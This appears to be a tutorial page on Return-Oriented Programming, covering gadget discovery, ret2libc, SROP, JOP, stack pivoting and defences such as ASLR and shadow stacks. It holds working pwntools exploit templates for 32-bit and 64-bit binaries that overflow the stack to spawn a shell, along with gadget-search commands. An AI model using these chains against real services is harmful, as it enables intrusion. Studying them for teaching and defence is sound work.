Skip to main content
Return-Oriented Programming (ROP) is the standard technique for bypassing non-executable stack (NX/DEP) protections. Instead of injecting shellcode, an attacker reuses short instruction sequences — called gadgets — that already exist in the binary or its loaded libraries. Each gadget ends with a ret instruction, which pops the next address off the stack and transfers control there, enabling arbitrary gadget chains.

How ROP works

1

Control the stack

Exploit a stack overflow (or equivalent) to overwrite the saved return address with the address of the first gadget.
2

Chain gadgets

Place gadget addresses and their associated data values sequentially on the stack. When each gadget’s ret fires, it pops the next gadget address into the instruction pointer.
3

Execute the payload

The chain runs entirely within existing executable pages, defeating NX while achieving arbitrary computation — typically launching a shell or making a syscall.

Finding gadgets

# Find all gadgets in a binary
ROPgadget --binary ./vuln

# Search for a specific gadget
ROPgadget --binary ./vuln --search "pop rdi"

# Include loaded libraries
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --search "pop rdi ; ret"

x86 (32-bit) ROP chain

On 32-bit x86, function arguments are passed on the stack. A system("/bin/sh") call needs /bin/sh’s address on the stack directly after the return address.
from pwn import *

binary     = context.binary = ELF('./vuln32')
p          = process(binary.path)

bin_sh     = next(binary.search(b'/bin/sh\x00'))
system_addr = 0xf7e12420   # known libc address (ASLR disabled)
ret_gadget  = 0x080484a6   # optional: ret for stack alignment
offset      = 44

rop_chain = [
    ret_gadget,    # alignment (optional)
    system_addr,
    0x41414141,    # placeholder return from system()
    bin_sh,        # argument: pointer to "/bin/sh"
]

payload = b'A' * offset + b''.join(p32(a) for a in rop_chain)
p.sendline(payload)
p.interactive()

x64 (64-bit) ROP chain

On x86-64 (System V ABI), the first six integer arguments go in registers RDI, RSI, RDX, RCX, R8, R9. A pop rdi; ret gadget is the most important building block.
from pwn import *

binary    = context.binary = ELF('./vuln64')
libc      = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p         = process(binary.path)

bin_sh    = next(libc.search(b'/bin/sh\x00'))
system    = libc.symbols['system']

pop_rdi   = 0x0000000000401234   # pop rdi; ret
ret       = 0x000000000040101a   # ret  (for 16-byte stack alignment)
offset    = 40

rop_chain = [
    ret,           # align stack to 16 bytes before call
    pop_rdi,
    bin_sh,
    system,
]

payload = b'A' * offset + b''.join(p64(a) for a in rop_chain)
p.sendline(payload)
p.interactive()
The x86-64 ABI requires the stack to be 16-byte aligned when call is executed. Insert a bare ret gadget before calling system() if the chain crashes with a SIGSEGV inside an SSE instruction.

Common ROP sub-techniques

Set up registers/stack for a libc function (commonly system("/bin/sh")) and jump to it. Requires knowing the libc base address (defeat ASLR via an info leak first).
Load rax = 59 (execve), rdi -> "/bin/sh", rsi = 0, rdx = 0, then reach a syscall gadget. Useful when libc addresses are unknown.
# Typical x64 execve gadgets needed:
# pop rax; ret
# pop rdi; ret
# pop rsi; ret
# pop rdx; ret
# syscall
__libc_csu_init contains a reliable gadget pair that lets you control RBX, RBP, R12, R13, R14, R15, and call [r12 + rbx*8]. Available in nearly every dynamically linked x86-64 binary.
A single sigreturn syscall restores all registers from a crafted sigreturn frame on the stack. One gadget can set every register simultaneously, avoiding the need to find individual pop reg; ret gadgets.
Used when you have a stack overflow but no binary to analyse. Exploits a remote service that stays alive (e.g., a forking server) and probes for gadgets by observing whether the process crashes or continues.

JOP — Jump-Oriented Programming

JOP replaces ret at the end of each gadget with an indirect jmp or call. This is common on ARM where ret is less universal.
# Find JOP gadgets in ARM64 system libraries
ropper --file libsystem_c.dylib --arch ARM64 --search "ldr x0, [x0"
A typical ARM64 heap-overflow JOP chain:
  1. An overwritten function pointer in the heap points to a gadget: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2
  2. Set x0 + 0x20 → pointer to /bin/sh string
  3. Set x0 + 0x30 → address of system

Stack pivoting

When the stack is too small for a full chain, pivot the stack pointer (RSP/SP) to a controlled region (heap, BSS, or a large input buffer).
; Example pivot gadget (x64)
mov rsp, rax   ; point stack to attacker-controlled buffer
pop rbp
ret            ; continue executing ROP chain from new stack

Protections against ROP

ProtectionEffect on ROP
ASLR + PIERandomises gadget addresses — requires info leak
Stack canariesDetects overflow before ret — must be bypassed separately
CET / Shadow StackHardware enforces that ret targets match the call stack
Lack of gadgetsSmall or heavily stripped binaries may not have enough useful gadgets

Build docs developers (and LLMs) love